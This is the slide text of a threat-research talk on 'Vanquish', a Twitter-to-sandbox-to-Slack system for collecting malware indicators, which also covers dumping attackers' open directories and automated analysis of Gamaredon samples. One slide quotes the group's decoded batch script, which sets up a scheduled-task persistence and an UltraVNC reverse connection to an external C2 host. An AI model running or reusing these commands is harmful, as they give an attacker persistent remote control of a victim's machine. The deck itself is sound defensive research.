
Vanquish: 
Analysis Everywhere With Smartphones

Hiroyuki Kakara, Senior Threat Researcher @Trend Micro

11/18/2022 1



5 Facts & Target Audience of this Presentation
n 5 facts about this talk

l This talk introduces the "Vanquish", a simple but efficient cyber threat 
intelligence research system, which crawls IoCs from Twitter, submit to a 
sandbox, with using Slack as I/O interface.

l The system will help threat researcher to get second and subsequent payloads 
ASAP

l The system can be developed in combination of free public services.
l I will also talk about use of interactive Slack App in extension of cyber the 

Vanquish which can initiate automated analysis from anywhere.
l The core module of "Vanquish" is also published at GitHub (mentioned later)

n Target
l Individual malware researchers or students
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Researchers’ Daily Works (Simplified Example)
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Common Malware Behavior (Example)
(most of you may know, but just in case…)
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Researchers’ Daily Works (Simplified Example)
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Researchers’ Daily Works (Simplified Example)
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Researchers’ Daily Works (Simplified Example)
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Vanquish
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Twitter crawling

Download 
samples

Sandbox, etc.

Hashes

Samples

n Using Twitter API, crawls tweets of specified accounts every specified minutes
n Parse tweets and extracts hashes (md5/sha1/sha256)
n If tweets have links, it parses web contents and extracts hashes as well

n Using API of online malware repository (e.g. VirusTotal), downloads samples

n Submit downloaded hashes to Sandbox
n This time, sandbox should have internet access
n Conduct sandbox analysis with internet access and get next stage payloads

Post Result to 
Slack

Results

n Sample extraction results are posted to Slack workspace



Resource
n You can get backbone of the system from here

l https://github.com/oreilly-japan/black-hat-python-2e-
ja/tree/master/appendix-C

n The code is the backbone of the Vanquish which doesn’t include 
sample download/ sandbox submission functionality
l One reason: How you implement these features depend on which services you 

use
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https://github.com/oreilly-japan/black-hat-python-2e-ja/tree/master/appendix-C


Vanquish
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Twitter crawling

Download 
samples

Sandbox, etc.

Hashes

Samples

n Using Twitter API, crawls tweets of specified accounts every specified minutes
n Parse tweets and extracts hashes (md5/sha1/sha256)
n If tweets have links, it parses web contents and extracts hashes as well

n Using API of public malware repository (e.g. VirusTotal), downloads samples

n Submit downloaded hashes to Sandbox
n This time, sandbox should have internet access
n Conduct sandbox analysis with internet access and get next stage payloads

Post Result to 
Slack

Results

n Sample extraction results are posted to Slack workspace



You will require…
n Necessary

l PC with Python 3.6 or later
l Twitter API v2
l Slack workspace, App, and its Bot Token

n Additional
l Sandbox and its API (or any other automated submission mechanisms)
l Online malware repository API
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Slack App Settings
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Images from slack.com



In the GitHub…
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Simple text file of twitter account list divided by break line

Module used for parsing web sites with selenium

Main module which crawls tweets



get_from_web.py
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n Get web contents by requests module and save as a file
n Judge filetype and if it’s a pdf, converts to plain text
n If it’s not a pdf, requests web page again by selenium to get 

dynamic contents and extracts text by BeautifulSoup



twitter_ioc_crawler.py
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n This script should be triggered with the crawl interval parameter
n Uses Slack SDK’s WebClient module to post results
n For each twitter accounts specified in the accountlist.txt, it extracts 

all of tweets within specific interval
n It extracts hashes (md5/sha1/sha256) from the tweets/web 

contents
n Posts extraction results to Slack



twitter_ioc_crawler.py
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n Space for your imagination…
• Download corresponding samples from online malware 

repositories (e.g. VirusTotal, ANY.RUN, MalwareBazaar, etc.)
• Submit downloaded samples to sandboxes
• Conduct another automated analysis



Example of the Result
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Result 2019.10.21 ~ 2022.11.02
n Vanquish monitors 41 twitter accounts of researchers or vendors, etc.
n Processed approx. 18.5K samples from twitter

11/18/2022 22
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Based on Trend Micro’s detection names



Slack Interactive App (Not in the GitHub)
n If you find any hashes to be analyzed while 

are not in front of the PC, what will you do?

n Suggestion: create an Interactive Slack App
l You need only your smart phone
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Slack Interactive App (Not in the GitHub)
n My Vanquish uses Bolt

l https://api.slack.com/tools/bolt

n Each commands can be 
equipped with this simple 
code☞ ☞ ☞

n Examples of Functionalities
l Manage monitoring accounts
l Initiate on-demand process
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from slack_bolt import App
app = App(token=SLACK_BOT_TOKEN, 
signing_secret=SLACK_SIGNING_SECRET)

app.message("^<command>\s.*")
def message_command(message, say):

parameters = message["text"].replace("<command> 
","")

result = you_function(parameters)
say(result)
return

https://api.slack.com/tools/bolt


Slack Interactive App (Not in the GitHub)
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My VanBot (Vanquish Bot) has many interactive features
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Additional Slack App Features
~GetOpenDir~
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Objective
n There are many cases in which attacker’s C2 are OpenDir

n It’s a big opportunity for us to obtain contents from attacker’s C2 legally
n By dumping such servers quickly, we can obtain many valuable information 

(e.g. additional tools, victimology)

If you find it, dump it ASAP
So let’s talk to Slack App
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https://www.trendmicro.com/ja_jp/research/19/d/attack-
that-uses-the-legitimate-software-AutoHotkey.htm

https://www.trendmicro.com/ja_jp/research/19/d/attack-that-uses-the-legitimate-software-AutoHotkey.html


Resource
n You can get full code from…

l https://github.com/oreilly-japan/black-hat-python-2e-
ja/blob/master/appendix-B/get_opendir.py

l *I added some lines to avoid doing DoS against servers
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https://github.com/oreilly-japan/black-hat-python-2e-ja/blob/master/appendix-B/get_opendir.py


Overview
n Find root directory of OpenDir
n Enumerate & download all of files recursively under the root, and 

compress them in zip file
n Take screenshots of each layers of OpenDir
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Find Root Directory
n Repeatedly traverses back to the parent 

directory to finds the root directory of 
OpenDir, and returns its URL
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Enumerate Files Recursively
n “opendir_urls” will be 

initialized with the URL of 
OpenDir root

n Enumerates links within the 
page

n If the link content is OpenDir 
the link will be appended to 
“opendir_urls” and parsed 
later

n If the link isn’t OpenDir, the 
content will be saved
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Take Screenshots
n Take screenshots of each 

layers with selenium
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Integration with Slack App
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@app.message('^god ')
def message_god(message, say):

say('Start Processing...')
god = GOD.GOD()
url_tmp = message["text"].replace("god ","")
url = re.sub(r'(.*<|>.*|\|.*)', "",url_tmp)
if not 'http://' in url and not 'https://' in url:

say("Please sepecify with http/https.")
return

say("```" + url + "```")
res = god.get_opendir( url, "/mnt/GetOpenDir")
if len(res) > 1:

say(res[0])
image_list = res[1]
counter = 0
for image in image_list:

say.client.files_upload(channels = 
message["channel"], file=image)

counter = counter + 1
if counter >10:

break
else:

say(res[0])



Additional Analysis Features
~Research on Gamaredon~
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Background
n One of my focus is Gamaredon
n Gamaredon samples are so 

frequently uploaded to the 
VirusTotal that I don’t have enough 
time to manually process them

n They’re relatively easy to analyze

Automate
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https://www.trendmicro.com/en_us/research/20/d/gamaredon-apt-
group-use-covid-19-lure-in-campaigns.html

https://www.trendmicro.com/en_us/research/20/d/gamaredon-apt-group-use-covid-19-lure-in-campaigns.html


Data Sources
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VirusTotal Live Hunt Twitter Crawling with 
#gamaredon tag

On Demand from 
Slack App

Download & Analysis



Recent 3 TTPs Allegedly Adopted by Gamaredon
n Remote Template Injection 
n LNK
n SFX -->> UltraVNC
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Remote Template Injection

n Extract template URL and enrich domain/IP info
n Try to download template .dotm
n Parse & decode macro and dropped VBScript and get 2nd C2
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DOCX DOT VBS

Execute()

Attachment

Template 
Injection Drop Decode

Next stage 
payload



LNK
n Extract RAR from HTM

l basically base64 encoded
n Extract RAR content
n Parse LNK’s meta info and Extract 

C2 URL and enrich domain/IP 
info
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Attachment

Next stage 
payload

HTM

MSWord DOTM

RAR

LNK

PS1

PS1

Remote 
Template 
Injection

Drop

Macro
Contain

mshta.exe



SFX
n SFX files contains BAT script 

(decoded one is show in 
right-top), UltraVNC files, and 
decoy documents

n Decompress SFX
n Parse .cmd file (bat file) and 

extract commands, and C2, 
and enrich domain/IP info
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copy /y "%CD%\mera.pdf" "%CD%\..\mera.pdf"
start "" "%CD%\..\mera.pdf"
~~~~~~~~
copy /y "bwTyTdT6TmTkTRThTzTTTJTeTXTwTiTy.LUYmYeYOYsYPY1YeY3YAY4YDYaYEYLYJ" 
"poinlook.exe"
~~~~~~~~
schtasks /create /tn poinlook.exe_M /tr 
"%HOMEDRIVE%%HOMEPATH%\AppData\Local\Temp\7ZipSfx.000\poinlook.exe -
autoreconnect -id:%COMPUTERNAME%_%RANDOM%%RANDOM% -connect 
bitsbfree.com:443" /sc daily /st 13:42
~~~~~~~~
start "" "%CD%\poinlook.exe" -autoreconnect -
id:%COMPUTERNAME%_%RANDOM%%RANDOM%_m2 -connect bitsbfree.com:443
~~~~~~~~



Sample Output
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Remote Template Injection
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Our observation
(based on last modified timestamp)
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LNK
n Those LNK files almost always has Drive Serial Number “0x3c766c45”

11/18/2022

Jun 202
0

Jul 2
02

0

Aug
 20

20

Se
p 20

20

Okt 
202

0

Nov 2
020

Dez 2
02

0

Jän
 202

1

Fe
b 202

1

Mär 
202

1

Apr 2
02

1

Mai 
20

21

Jun 202
1

Jul 2
02

1

Aug
 20

21

Se
p 20

21

Okt 
202

1

Nov 2
021

Dez 2
02

1

Jän
 202

2

Fe
b 202

2

Mär 
202

2

Apr 2
02

2

Mai 
20

22

Jun 202
2

Jul 2
02

2

Aug
 20

22

Se
p 20

22

Okt 
202

2

Our observation
(based on VT submission timestamp)



SFX -->> UltraVNC
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Gamaredon’s IP Addresses
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Remote Template Injection
SFX

LNK



Registrars of Gamaredon’s C2
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Center of Ukrainian Internet Names (UKRNAMES)

REGTIME LTD.

NetEarth One, Inc.

NAMECHEAP INC

NetEarth One Inc. d/b/a NetEarth
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Key Takeaway
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Key Takeaway
n The crawling feature makes us able to analyze and get next stage 

payloads ASAP
n With interactive Slack App feature, you can initiate on demand 

analysis anywhere with your smartphones
n The Vanquish requires at least a Twitter free API, a Slack free API, an 

API for online malware sharing sites (though sometime this could be 
commercial one, such as VirusTotal which I use), and sandbox system. 
This will give huge benefit for security researchers, especially for those 
of students or individuals.
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Danke Schön
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